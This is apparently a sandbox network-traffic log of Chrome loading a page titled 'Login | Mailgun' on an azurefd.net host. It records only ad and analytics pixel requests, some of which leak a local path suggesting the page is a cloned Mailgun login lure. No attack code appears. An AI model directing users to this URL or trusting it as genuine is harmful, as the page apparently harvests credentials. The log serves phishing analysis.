2024-07-03 12:38:47 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:47 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 12:38:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49758	216.58.206.68	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	1289	OUT	GET /pagead/1p-user-list/1005952947/?random=1685205259095&cv=11&fst=1685203200000&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwDaQooL3WJ7oaseSrcTl69btWSmZcQSwRydVA&random=1965046637&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:47 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 12:38:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49762	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	847	OUT	GET /tr/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3402, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:47 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49760	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	957	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger, event-source;navigation-source Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	1265	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0x54ce431924c6c1c5","source_keys":["1","2"]},{"key_piece":"0x9c6993f18c92e057","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388104810876594", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388104810876594"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:47 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:47 UTC	1786	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-07-03 12:38:47 UTC	4	IN	Data Raw: 34 33 0d 0a Data Ascii: 43
2024-07-03 12:38:47 UTC	74	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49761	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	848	OUT	GET /tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3403, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:47 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49759	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	958	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	1265	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0x6f9deeddc5edcf4d","source_keys":["1","2"]},{"key_piece":"0x3846355ca2c0d4aa","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7387388104373267735", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7387388104373267735"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-07-03 12:38:47 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-07-03 12:38:47 UTC	1787	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-07-03 12:38:47 UTC	4	IN	Data Raw: 34 33 0d 0a Data Ascii: 43
2024-07-03 12:38:47 UTC	74	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49763	93.184.221.165	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:47 UTC	738	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=ff47a595-90e8-4551-bbd4-50ca5d09da40
2024-07-03 12:38:47 UTC	394	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, max-age=0 Content-Type: image/gif;charset=utf-8 date: Wed, 03 Jul 2024 12:38:47 GMT perf: 7402827104 server: tsa_f strict-transport-security: max-age=0 x-connection-hash: 1063f8127c0a9dcf7955d5d92859bb3c19d2f72aca12baf1f3bacd7e36f65f1a x-response-time: 174 x-transaction-id: 3374d0dcadf0a36d Content-Length: 43 Connection: close
2024-07-03 12:38:47 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49767	216.58.212.164	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	982	OUT	GET /pagead/1p-user-list/1005952947/?random=1685204592833&cv=11&fst=1685203200000&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=https%3A%2F%2Flogin.mailgun.com%2Flogin%2F&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&auid=46058530.1685204589&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwDaQooLWzO0pkR1-s-k3RADKaWI_s76A9hYnw&random=2693476460&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:48 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 12:38:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49771	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	585	OUT	GET /tr/?id=541164370529087&ev=Scroll_50&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325966&sw=1280&sh=1024&v=2.9.160&r=stable&ec=1&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=91, rtx=0, c=10, mss=1392, tbw=3402, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49770	157.240.0.35	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	584	OUT	GET /tr/?id=541164370529087&ev=PageView&dl=https%3A%2F%2F9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net%2F&rl=&if=false&ts=1720010325963&sw=1280&sh=1024&v=2.9.160&r=stable&ec=0&o=4126&fbp=fb.1.1720010325961.1187528993&it=1720010324745&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3403, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Wed, 03 Jul 2024 12:38:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49769	216.58.212.164	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:48 UTC	1026	OUT	GET /pagead/1p-user-list/1005952947/?random=1685205259095&cv=11&fst=1685203200000&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwDaQooL3WJ7oaseSrcTl69btWSmZcQSwRydVA&random=1965046637&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:48 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:48 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 12:38:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
